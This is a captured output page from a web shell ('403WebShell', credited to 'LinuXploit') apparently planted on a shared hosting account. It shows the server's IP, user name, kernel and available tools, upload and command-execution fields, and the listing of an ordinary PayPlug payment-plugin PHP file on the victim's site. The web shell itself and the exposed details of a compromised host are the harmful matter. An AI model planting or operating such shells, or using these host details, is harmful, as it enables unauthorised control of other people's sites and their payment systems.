Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/zenit/plugins/hikashoppayment/payplug2/lib/Payplug/Resource/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/zenit/plugins/hikashoppayment/payplug2/lib/Payplug/Resource/APIResource.php
<?php
namespace Payplug\Resource;
use Payplug;

abstract class APIResource implements IAPIResourceFactory
{
    protected $_attributes;

    protected function __construct()
    {
    }

    public static function factory(array $attributes)
    {
        if (!array_key_exists('object', $attributes)) {
            throw new Payplug\Exception\UnknownAPIResourceException('Missing "object" property.');
        }

        switch ($attributes['object']) {
            case 'payment':
                return Payplug\Resource\Payment::fromAttributes($attributes);
            case 'refund':
                return Payplug\Resource\Refund::fromAttributes($attributes);
            case 'installment_plan':
                return Payplug\Resource\InstallmentPlan::fromAttributes($attributes);
        }

        throw new Payplug\Exception\UnknownAPIResourceException('Unknown "object" property "' . $attributes['object'] . '".');
    }

    protected final function getAttributes()
    {
        return $this->_attributes;
    }

    protected function setAttributes(array $attributes)
    {
        $this->_attributes = $attributes;
    }

    public function __get($attribute)
    {
        if ($this->__isset($attribute)) {
            return $this->_attributes[$attribute];
        }

        throw new Payplug\Exception\UndefinedAttributeException('Requested attribute ' . $attribute . ' is undefined.');
    }

    public function __isset($attribute)
    {
        return array_key_exists($attribute, $this->_attributes);
    }


    public function __set($attribute, $value)
    {
        $this->_attributes[$attribute] = $value;
    }

    protected function initialize(array $attributes)
    {
        $this->setAttributes($attributes);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit